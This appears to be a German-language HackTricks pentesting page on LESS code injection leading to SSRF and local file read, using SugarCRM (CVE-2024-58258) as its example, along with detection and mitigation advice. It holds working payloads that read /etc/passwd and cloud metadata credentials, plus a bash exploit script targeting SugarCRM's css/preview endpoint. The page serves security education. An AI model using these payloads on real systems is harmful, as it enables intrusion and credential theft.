hacktricks/src/pentesting-web/less-code-injection-ssrf.md

76 lines
4.0 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# LESS Code Injection, die zu SSRF & Local File Read führt
{{#include ../banners/hacktricks-training.md}}
## Übersicht
LESS ist ein beliebter CSS-Präprozessor, der Variablen, Mixins, Funktionen und die leistungsstarke `@import`-Direktive hinzufügt. Während der Kompilierung wird die LESS-Engine **die in `@import`**-Anweisungen referenzierten Ressourcen abrufen und deren Inhalte in das resultierende CSS einbetten ("inline"), wenn die Option `(inline)` verwendet wird.
Wenn eine Anwendung **benutzergesteuerte Eingaben** in einen String einfügt, der später vom LESS-Compiler geparst wird, kann ein Angreifer **willkürlichen LESS-Code** injizieren. Durch den Missbrauch von `@import (inline)` kann der Angreifer den Server zwingen, Folgendes abzurufen:
* Lokale Dateien über das `file://`-Protokoll (Informationsoffenlegung / Local File Inclusion).
* Remote-Ressourcen in internen Netzwerken oder Cloud-Metadaten-Diensten (SSRF).
Diese Technik wurde in realen Produkten wie **SugarCRM ≤ 14.0.0** (`/rest/v10/css/preview`-Endpunkt) beobachtet.
## Ausnutzung
1. Identifizieren Sie einen Parameter, der direkt in einen Stylesheet-String eingebettet ist, der von der LESS-Engine verarbeitet wird (z. B. `?lm=` in SugarCRM).
2. Schließen Sie die aktuelle Anweisung und injizieren Sie neue Direktiven. Die häufigsten Primitiven sind:
* `;` beendet die vorherige Deklaration.
* `}` schließt den vorherigen Block (falls erforderlich).
3. Verwenden Sie `@import (inline) '<URL>';`, um willkürliche Ressourcen zu lesen.
4. Optional können Sie einen **Marker** (`data:` URI) nach dem Import injizieren, um die Extraktion des abgerufenen Inhalts aus dem kompilierten CSS zu erleichtern.
### Local File Read
```
1; @import (inline) 'file:///etc/passwd';
@import (inline) 'data:text/plain,@@END@@'; //
```
Der Inhalt von `/etc/passwd` wird in der HTTP-Antwort kurz vor dem `@@END@@` Marker angezeigt.
### SSRF Cloud-Metadaten
```
1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/";
@import (inline) 'data:text/plain,@@END@@'; //
```
### Automatisierte PoC (SugarCRM-Beispiel)
```bash
#!/usr/bin/env bash
# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd
TARGET="$1" # Base URL of SugarCRM instance
RESOURCE="$2" # file:// path or URL to fetch
INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))")
curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \
sed -n 's/.*@@END@@\(.*\)/\1/p'
```
## Detection
* Suchen Sie nach dynamisch generierten `.less` oder `.css` Antworten, die unsanitized Query-Parameter enthalten.
* Durchsuchen Sie bei der Code-Überprüfung Konstruktionen wie `"@media all { .preview { ... ${userInput} ... } }"` die an LESS-Renderfunktionen übergeben werden.
* Exploit-Versuche enthalten oft `@import`, `(inline)`, `file://`, `http://169.254.169.254` usw.
## Mitigations
* Geben Sie **keine** untrusted Daten an den LESS-Compiler weiter.
* Wenn dynamische Werte erforderlich sind, **escapen**/sanitizen Sie diese ordnungsgemäß (z. B. auf numerische Tokens beschränken, Whitelists).
* Deaktivieren Sie, wenn möglich, die Möglichkeit, `(inline)` Importe zu verwenden, oder beschränken Sie die erlaubten Protokolle auf `https`.
* Halten Sie Abhängigkeiten auf dem neuesten Stand SugarCRM hat dieses Problem in den Versionen 13.0.4 und 14.0.1 behoben.
## Real-World Cases
| Produkt | Verwundbarer Endpunkt | Auswirkung |
|---------|-----------------------|------------|
| SugarCRM ≤ 14.0.0 | `/rest/v10/css/preview?lm=` | Unauthenticated SSRF & lokale Dateilesen |
## References
* [SugarCRM ≤ 14.0.0 (css/preview) LESS Code Injection Vulnerability](https://karmainsecurity.com/KIS-2025-04)
* [SugarCRM Security Advisory SA-2024-059](https://support.sugarcrm.com/resources/security/sugarcrm-sa-2024-059/)
* [CVE-2024-58258](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58258)
{{#include ../banners/hacktricks-training.md}}